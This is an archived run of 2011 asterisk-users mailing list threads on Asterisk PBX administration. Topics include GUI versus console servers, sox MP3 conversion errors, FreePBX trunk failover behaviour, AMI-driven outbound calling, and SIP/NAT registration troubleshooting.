fan of Webmin for a GUI. It allows for almost everything and for me, it is better than KDE or anything else. It is just a webpage with tools attached. No big potential problem there. I look forward to your input. Thanks -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?
On Mon, Sep 12, 2011 at 5:12 PM, Steve Totaro stot...@asteriskhelpdesk.comwrote: See comments inline. On Mon, Sep 12, 2011 at 2:21 PM, linux guy linuxguy...@gmail.com wrote: I'm about to start building my asterisk server and I can't seem to find anything that discusses the pros and cons of installing the OS (Fedora 15) as console only or GUI, ie install KDE as well. If you want an OS that is going to be supported a year from now, don't use Fedora. Go for CentOS which is essentially Red Hat Enterprise, Fedora is pretty much beta RHEL. It's EOL is one year from my understanding. You want to install the very minimum as most people would agree, why do you think you need a GUI. Best practice is to only install the bare minimum on a server. So, other than a bit of disk space, is there any reason why I shouldn't install KDE when I set it up ? It has and will cause issues. I have installed KDE or whatever but booted to init 3 for a couple of machines. I could go to init 5 if I had to, but I never did had to. I don't see a single pro, but there are many cons. What benefit do you get from KDE? Why do you want it. Is this just going to be an asterisk server or a desktop? Is there any great disadvantage to running the server in init level 5 (ie KDE, xorg, etc) running in the background, but not being logged in, versus init level 3 ? (Or whatever they call these things these days..., ie F15 uses systemd...) FWIW, my server hardware will sit on a server rack in the utility room. I might drag a display and keyboard down there once in a while to troubleshoot and/or do maintenance, but mostly I'd ssh in and probably use a remote desktop app to work on it. How does remote desktop help you over an SSH CLI? FWIW, I'm OK doing things via the CLI, but sometimes its really nice to have graphical tools. Ok, I can understand, I used to be like this for a while. I am a huge fan of Webmin for a GUI. It allows for almost everything and for me, it is better than KDE or anything else. It is just a webpage with tools attached. No big potential problem there. I look forward to your input. Thanks I have been using Vyatta (paid for with phone support.) It makes for the most powerful Asterisk platform you can imagine. There is a learning curve but I love what I have put together. There are howtos everywhere and if you buy licenses, you get excellent support and online training courses. It is a very firewall/Router. It handles everything from OpenVPN, awesome security features, IPS, and even QoS, wireshark. I put webmin and NTOP on these machines as well. Vyatta has become my new platform for Asterisk. Check it out http://www.vyatta.org/documentation There is very little you cannot do, but don't have to use the features if you don't want to. Vyatta is also a company like Asterisk. Vyatta is the baby of former bigtime corporate Cisco guys. Asterisk is the baby of former Adtran execs. Thanks, Steve T Thanks, Steve T -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk server: Console or GUI OS ? Init level 3 or init level 5 ?
Asterisk is a company? This is news to me Sent from my iPhone On Sep 12, 2011, at 5:35 PM, Steve Totaro stot...@asteriskhelpdesk.com wrote: On Mon, Sep 12, 2011 at 5:12 PM, Steve Totaro stot...@asteriskhelpdesk.com wrote: See comments inline. On Mon, Sep 12, 2011 at 2:21 PM, linux guy linuxguy...@gmail.com wrote: I'm about to start building my asterisk server and I can't seem to find anything that discusses the pros and cons of installing the OS (Fedora 15) as console only or GUI, ie install KDE as well. If you want an OS that is going to be supported a year from now, don't use Fedora. Go for CentOS which is essentially Red Hat Enterprise, Fedora is pretty much beta RHEL. It's EOL is one year from my understanding. You want to install the very minimum as most people would agree, why do you think you need a GUI. Best practice is to only install the bare minimum on a server. So, other than a bit of disk space, is there any reason why I shouldn't install KDE when I set it up ? It has and will cause issues. I have installed KDE or whatever but booted to init 3 for a couple of machines. I could go to init 5 if I had to, but I never did had to. I don't see a single pro, but there are many cons. What benefit do you get from KDE? Why do you want it. Is this just going to be an asterisk server or a desktop? Is there any great disadvantage to running the server in init level 5 (ie KDE, xorg, etc) running in the background, but not being logged in, versus init level 3 ? (Or whatever they call these things these days..., ie F15 uses systemd...) FWIW, my server hardware will sit on a server rack in the utility room. I might drag a display and keyboard down there once in a while to troubleshoot and/or do maintenance, but mostly I'd ssh in and probably use a remote desktop app to work on it. How does remote desktop help you over an SSH CLI? FWIW, I'm OK doing things via the CLI, but sometimes its really nice to have graphical tools. Ok, I can understand, I used to be like this for a while. I am a huge fan of Webmin for a GUI. It allows for almost everything and for me, it is better than KDE or anything else. It is just a webpage with tools attached. No big potential problem there. I look forward to your input. Thanks I have been using Vyatta (paid for with phone support.) It makes for the most powerful Asterisk platform you can imagine. There is a learning curve but I love what I have put together. There are howtos everywhere and if you buy licenses, you get excellent support and online training courses. It is a very firewall/Router. It handles everything from OpenVPN, awesome security features, IPS, and even QoS, wireshark. I put webmin and NTOP on these machines as well. Vyatta has become my new platform for Asterisk. Check it out http://www.vyatta.org/documentation There is very little you cannot do, but don't have to use the features if you don't want to. Vyatta is also a company like Asterisk. Vyatta is the baby of former bigtime corporate Cisco guys. Asterisk is the baby of former Adtran execs. Thanks, Steve T Thanks, Steve T -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] sox: Failed reading obd-demo.mp3: Do not understand format type: mp3
Hi, Can someone please comment about the below issue [root@host0040 kaushal]# file obd-demo.mp3 obd-demo.mp3: MPEG ADTS, layer III, v1, 256 kBits, 44.1 kHz, Monaural [root@host0040 kaushal]# sox obd-demo.mp3 -e stat sox: Failed reading obd-demo.mp3: Do not understand format type: mp3 [root@host0040 kaushal]# sox -V obd-demo.mp3 -r 8000 -c 1 -t ul -w vm-intro.ulaw sox: Failed reading obd-demo.mp3: Do not understand format type: mp3 [root@host0040 kaushal]# sox -v 0.125 -V obd-demo.mp3 -t au -r 8000 -U -b -c 1 obd-demo.ulaw resample -ql -bash: obd-demo.ulaw: No such file or directory [root@host0040 kaushal]# sox -V obd-demo.mp3 -t au -r 8000 -U -b -c 1 obd-demo.ulaw resample -ql sox: Failed reading obd-demo.mp3: Do not understand foReply rmat type: mp3 [root@host0040 kaushal]# When i invoke the same obd-demo.mp3 it works perfectly fine host0040*CLI channel originate DAHDI/g0/xx Application MP3Player /home/kaushal/obd-demo.mp3 [Sep 9 16:44:56] DEBUG[12691]: sig_pri.c:985 sig_pri_request: sig_pri_request 1 [Sep 9 16:44:56] DEBUG[12691]: sig_pri.c:6427 sig_pri_call: CALLER NAME: NUM: -- Requested transfer capability: 0x00 - SPEECH -- Launching MP3Player(/home/kaushal/obd-demo.mp3) on DAHDI/i1/9833754756-1 [root@host0040 ~]# rpm -qa | grep sox sox-12.18.1-1.el5_5.1 [root@host0040 ~]# rpm -qa | grep lame lame-3.98.4-1.el5.rf lame-devel-3.98.4-1.el5.rf [root@host0040 ~]# MP3 support in SoX is optional and requires access to either or both the external libmad and libmp3lame libraries. To see if there is support for Mp3 run sox -h and look for it under the list of supported file formats as mp3. [root@host0040 ~]# sox -h sox: Version 12.18.1 Usage: [ gopts ] [ fopts ] ifile [ fopts ] ofile [ effect [ effopts ] ] gopts: -e -h -p -q -S -V fopts: -r rate -c channels -s/-u/-U/-A/-a/-i/-g/-f -b/-w/-l/-d -v volume -x effect: avg band bandpass bandreject chorus compand copy dcshift deemph earwax echo echos fade filter flanger highp highpass lowp lowpass mask mcompand noiseprof noisered pan phaser pick pitch polyphase rate repeat resample reverb reverse silence speed stat stretch swap synth trim vibro vol effopts: depends on effect Supported file formats: aiff al alsa au auto avr cdr cvs dat vms gsm hcom la lu maud nul ossdsp prc raw sb sf sl smp sndt sph 8svx sw txw ub ul uw voc vorbis vox wav wve Which package contains libmad and libmp3lame libraries available on CentOS 5.6 Regards, Kaushal -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Unexpected behavior change from Asterisk 1.6.2.14 to Asterisk 1.8.5.0
Alex, Please post the bug report on the bug tracker. Then your fix has a chance to be incorporated in a future release. Thank you, Vladimir On 9/12/2011 1:28 PM, Alex Villacís Lasso wrote: El 01/09/11 14:11, Richard Mudgett escribió: In our office, we were running an Asterisk 1.6.2.14 machine with DAHDI 2.3.0.1, FreePBX 2.8.1 and an analog DAHDI card with 8 FXO ports. This machine had several DAHDI trunks defined in the FreePBX interface, each one containing a single DAHDI channel. It also had a few outgoing routes defined in FreePBX, each of those grouping several of these DAHDI trunks. This setup worked correctly until the hard drive started failing. After backing up most of the data, we changed the hard drive and installed Asterisk 1.8.5.0 and DAHDI 2.4.1.2 with the same FreePBX 2.8.1. We then noticed that outgoing calls using the analog card were failing if the first tried channel was busy, instead of trying the next channel in the outgoing route. We traced this problem to a situation described in a FreePBX ticket: http://www.freepbx.org/v2/ticket/5008 . The logs in the old hard drive showed the following whenever a channel was busy: [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [s@macro-dialout-trunk:19] Dial(SIP/514-07bb, DAHDI/4/3904170,300,tTwW) in new stack [2011-08-30 08:55:39] WARNING[2597] app_dial.c: Unable to create channel of type 'DAHDI' (cause 0 - Unknown) [2011-08-30 08:55:39] VERBOSE[2597] app_dial.c: == Everyone is busy/congested at this time (1:0/0/1) [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [s@macro-dialout-trunk:20] NoOp(SIP/514-07bb, Dial failed for some reason with DIALSTATUS = CHANUNAVAIL and HANGUPCAUSE = 0) in new stack [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [s@macro-dialout-trunk:21] Goto(SIP/514-07bb, s-CHANUNAVAIL,1) in new stack [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Goto (macro-dialout-trunk,s-CHANUNAVAIL,1) [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [s-CHANUNAVAIL@macro-dialout-trunk:1] Set(SIP/514-07bb, RC=0) in new stack [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [s-CHANUNAVAIL@macro-dialout-trunk:2] Goto(SIP/514-07bb, 0,1) in new stack [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Goto (macro-dialout-trunk,0,1) [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [0@macro-dialout-trunk:1] Goto(SIP/514-07bb, continue,1) in new stack [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Goto (macro-dialout-trunk,continue,1) [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [continue@macro-dialout-trunk:1] GotoIf(SIP/514-07bb, 1?noreport) in new stack [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Goto (macro-dialout-trunk,continue,3) [2011-08-30 08:55:39] VERBOSE[2597] pbx.c: -- Executing [continue@macro-dialout-trunk:3] NoOp(SIP/514-07bb, TRUNK Dial failed due to CHANUNAVAIL HANGUPCAUSE: 0 - failing through to other trunks) in new stack In the old setup (with Asterisk 1.6.2.14), the error type reported by app_dial was 0-Unknown and the dialing status was CHANUNAVAIL. [Aug 31 12:10:13] VERBOSE[17513] pbx.c: -- Executing [s@macro-dialout-trunk:19] Dial(SIP/213-00e7, DAHDI/5/2201177,300,tTwW) in new stack [Aug 31 12:10:13] WARNING[17513] app_dial.c: Unable to create channel of type 'DAHDI' (cause 17 - User busy) [Aug 31 12:10:13] VERBOSE[17513] app_dial.c: == Everyone is busy/congested at this time (1:1/0/0) [Aug 31 12:10:13] VERBOSE[17513] pbx.c: -- Executing [s@macro-dialout-trunk:20] NoOp(SIP/213-00e7, Dial failed for some reason with DIALSTATUS = BUSY and HANGUPCAUSE = 17) in new stack [Aug 31 12:10:13] VERBOSE[17513] pbx.c: -- Executing [s@macro-dialout-trunk:21] Goto(SIP/213-00e7, s-BUSY,1) in new stack [Aug 31 12:10:13] VERBOSE[17513] pbx.c: -- Goto (macro-dialout-trunk,s-BUSY,1) [Aug 31 12:10:13] VERBOSE[17513] pbx.c: -- Executing [s-BUSY@macro-dialout-trunk:1] NoOp(SIP/213-00e7, Dial failed due to trunk reporting BUSY - giving up) in new stack [Aug 31 12:10:13] VERBOSE[17513] pbx.c: -- Executing [s-BUSY@macro-dialout-trunk:2] PlayTones(SIP/213-00e7, busy) in new stack In the new setup (with Asterisk 1.8.5.0), the error type reported by app_dial is 17-User busy and the dialing status is BUSY. The FreePBX context is programmed so that it considers BUSY, along with NOANSWER, INVALIDNMBR and CHANGED, as nonrecoverable errors that abort the dialout attempt, which seems reasonable. The problem is that the new setup is returing BUSY instead of CHANUNAVAIL when the particular channel that was tried is in use by a different call. We worked around the issue by applying the recommendation suggested in the ticket (create DAHDI groups in chan_dahdi.conf and use these as trunks). However, I believe the previous behavior was correct and the new behavior to be in error. The workaround suggested by the ticket will not work in a scenario where a DAHDI
[asterisk-users] Asterisk Manager Interface (AMI)
Hi, I have 8 E1 PRI Lines and i have 200 phone numbers and 200 channels (25 channels per PRI). Can someone please help me understand using Asterisk Manager Interface (AMI) available in Asterisk to dial out 200 numbers and run a campaign for 200 numbers concurrently and play a mp3 file ? Please suggest/guide. Regards, Kaushal -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk 1.4 Vs 1.6 Vs 1.8
On 09/12/11 14:08, Paul Belanger wrote: On 11-09-12 12:07 PM, Danny Nicholas wrote: I think that is your best bet. 1.8.6 unless somebody has a good reason not to. You actually might want to test with 1.8.7.0-rc1, this will fix 2 big issue. A performance regressions and timerfd. -- Paul Belanger Digium, Inc. | Software Developer twitter: pabelanger | IRC: pabelanger (Freenode) Check us out at: http://digium.com http://asterisk.org Was NAT problem fixed in 1.8.7 ? I'm using 1.4 but I've tried 1.6 and 1.8.5 and in both cases connection is not working with my provider with SIP + NAT. The connection is showing up as registered but the call is not coming IN (congestion). -- Joseph -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Question about voip.ms service.
I am novice with Asterisk, I had to piece together a lot of bits of info from lots of internet searches to get my very basic setup working. I probably shouldn't say that because it seems like Nat is not a very basic setup with Asterisk. The reason for wanting to stay with SIP is because I have my setup working with that protocol with an incoming and an outgoing line. I just wanted to add a second outgoing with voip.ms. But, I have come so far, so well why not... I will give IAX a shot, and see what traps I need to wade through :) Thanks On Mon, Sep 12, 2011 at 11:09 AM, John Novack jnov...@stromberg-carlson.org wrote: Never have had a problem with their IAX service. And ( for now ) a little hedge against the hackers. Since Asterisk is involved, why not use IAX anyway? John Novack naren wrote: I also found this... seems like voip.ms outbound is broken for now! http://pbxinaflash.com/forum/showthread.php?t=10735 On Sun, Sep 11, 2011 at 10:34 PM, naren naren.sa...@gmail.com wrote: Hi, I am trying to set up my asterisk 1.8.5 with voip.ms. I had no problem with the incoming, but my outgoing is not working. If at all possible, I would like to stick with SIP. Since the original poster (Glen) had mentioned that he had gotten outgoing working, I was wondering if you would be kind enough to post some thoughts on that. Were you able to get it working with just the default example sip.conf / extensions.conf settings that they have on their website? I have pretty much the same settings. When I dial out, the destination rings, but I can't hear a ringback tone from on the source side ( I am using a PAP2T router with a phone). I have set up outgoing with actionvoip before and that is working fine, so I am thinking my router settings for my ports are correct - but I am no expert. I would really appreciate it if you could post the relevant section of your sip.conf for me. Thanks! Naren On Thu, Jun 9, 2011 at 3:22 PM, Steve Edwards asterisk@sedwards.com wrote: On Thu, 9 Jun 2011, John Novack wrote: I use voip.ms and have no issues using IAX and Asterisk 1.4.xx 'slam-dunk.' Though they suggest SIP, I chose IAX and have 4569 UDP open in my firewall a Their on line config samples just work! is Suggest you check your firewall and your configs, and above all post some more information IAX If you really want to upset some, top post as I have just done! Agreed. The real issue is communication, top bottom or in the middle Sometimes, it's just about being considerate to 'the next guy.' -- Thanks in advance, - Steve Edwards sedwa...@sedwards.com Voice: +1-760-468-3867PST Newline Fax: +1-760-731-3000 -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- Dog is my Co-pilot -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk Manager Interface (AMI)
Hey, I think I remember the same post before. previously I heard someone telling to use vicidial or some other thing like that.But I don't think that those are totally AMI based call-generators. What I'd recently done is make a php page which connects to Asterisk's AMI port. I send page request with destination number as parameter and depending upon the HTTP arguments it send an ORIGINATE event to Asterisk with the destination number to be dialled out via DAHDI(PRI) and once the call is answered bridge it to a local dial plan extension which in term played a sound-file/message to the connecting number. So whenever I want Asterisk to initiate a call I send a HTTP request to my Web-Server(hosting Asterisk) a call originated and played a message. You can choose your design and directly connect to AMI and keep on sending ORIGINATE events until you've all 200 channels occupied. Hope it will help. On Tue, Sep 13, 2011 at 6:26 AM, Kaushal Shriyan kaushalshri...@gmail.comwrote: Hi, I have 8 E1 PRI Lines and i have 200 phone numbers and 200 channels (25 channels per PRI). Can someone please help me understand using Asterisk Manager Interface (AMI) available in Asterisk to dial out 200 numbers and run a campaign for 200 numbers concurrently and play a mp3 file ? Please suggest/guide. Regards, Kaushal -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] sox: Failed reading obd-demo.mp3: Do not understand format type: mp3
1- *-bash: obd-demo.ulaw: No such file or directory* // try use absolute file path i.e /usr/src/mymp3.mp3 . I guess that's why its saying no such file or directory. 2- http://lists.digium.com/pipermail/asterisk-users/2006-March/144689.html Go through this thread. 3- When everything fails from sox - libraries dependencies issues I use http://www.nch.com.au/switch/index.html this converter. This can help you for some time for free. On Tue, Sep 13, 2011 at 5:12 AM, Kaushal Shriyan kaushalshri...@gmail.comwrote: Hi, Can someone please comment about the below issue [root@host0040 kaushal]# file obd-demo.mp3 obd-demo.mp3: MPEG ADTS, layer III, v1, 256 kBits, 44.1 kHz, Monaural [root@host0040 kaushal]# sox obd-demo.mp3 -e stat sox: Failed reading obd-demo.mp3: Do not understand format type: mp3 [root@host0040 kaushal]# sox -V obd-demo.mp3 -r 8000 -c 1 -t ul -w vm-intro.ulaw sox: Failed reading obd-demo.mp3: Do not understand format type: mp3 [root@host0040 kaushal]# sox -v 0.125 -V obd-demo.mp3 -t au -r 8000 -U -b -c 1 obd-demo.ulaw resample -ql -bash: obd-demo.ulaw: No such file or directory [root@host0040 kaushal]# sox -V obd-demo.mp3 -t au -r 8000 -U -b -c 1 obd-demo.ulaw resample -ql sox: Failed reading obd-demo.mp3: Do not understand foReply rmat type: mp3 [root@host0040 kaushal]# When i invoke the same obd-demo.mp3 it works perfectly fine host0040*CLI channel originate DAHDI/g0/xx Application MP3Player /home/kaushal/obd-demo.mp3 [Sep 9 16:44:56] DEBUG[12691]: sig_pri.c:985 sig_pri_request: sig_pri_request 1 [Sep 9 16:44:56] DEBUG[12691]: sig_pri.c:6427 sig_pri_call: CALLER NAME: NUM: -- Requested transfer capability: 0x00 - SPEECH -- Launching MP3Player(/home/kaushal/obd-demo.mp3) on DAHDI/i1/9833754756-1 [root@host0040 ~]# rpm -qa | grep sox sox-12.18.1-1.el5_5.1 [root@host0040 ~]# rpm -qa | grep lame lame-3.98.4-1.el5.rf lame-devel-3.98.4-1.el5.rf [root@host0040 ~]# MP3 support in SoX is optional and requires access to either or both the external libmad and libmp3lame libraries. To see if there is support for Mp3 run sox -h and look for it under the list of supported file formats as mp3. [root@host0040 ~]# sox -h sox: Version 12.18.1 Usage: [ gopts ] [ fopts ] ifile [ fopts ] ofile [ effect [ effopts ] ] gopts: -e -h -p -q -S -V fopts: -r rate -c channels -s/-u/-U/-A/-a/-i/-g/-f -b/-w/-l/-d -v volume -x effect: avg band bandpass bandreject chorus compand copy dcshift deemph earwax echo echos fade filter flanger highp highpass lowp lowpass mask mcompand noiseprof noisered pan phaser pick pitch polyphase rate repeat resample reverb reverse silence speed stat stretch swap synth trim vibro vol effopts: depends on effect Supported file formats: aiff al alsa au auto avr cdr cvs dat vms gsm hcom la lu maud nul ossdsp prc raw sb sf sl smp sndt sph 8svx sw txw ub ul uw voc vorbis vox wav wve Which package contains libmad and libmp3lame libraries available on CentOS 5.6 Regards, Kaushal -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Asterisk is keep on sending Register request
Hey krishnan, Everything happens for a reason. The most intuitive cause of this issue seems to be network change. Can you confirm that no change in networking happened! because your server is sending register requests but not getting responses. Meanwhile the same server replying to scenarios2 can imply either at your or the server end is blocking. There could be NAT issue if its not firewall. 1- Make sure you can ping from your asterisk server to Registrar server. Do a traceroute as well. 2- Check for any firewalls in between (could be fail2ban/ iptables) 3- Verify that no network changes occured. 4- Call your service provider and tell them that their server is not talking to your server any more. :P best of luck. -Sammy On Mon, Sep 12, 2011 at 11:06 PM, Gopal krishnan gopalakrishnan...@gmail.com wrote: Hi, *Scenario 1* I am trying to register a VoIP trunk, which is keep on sending the register request and I am not getting any response from the SIP Server, this I am trying from one network. *Scenario 2* From another network if I try the same VoIP trunk, the account got registered. One thing here to notice is the same account has already been worked in *Scenario 1* and now which is not working without any reason. Any comments would be much appreciated. Regards -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
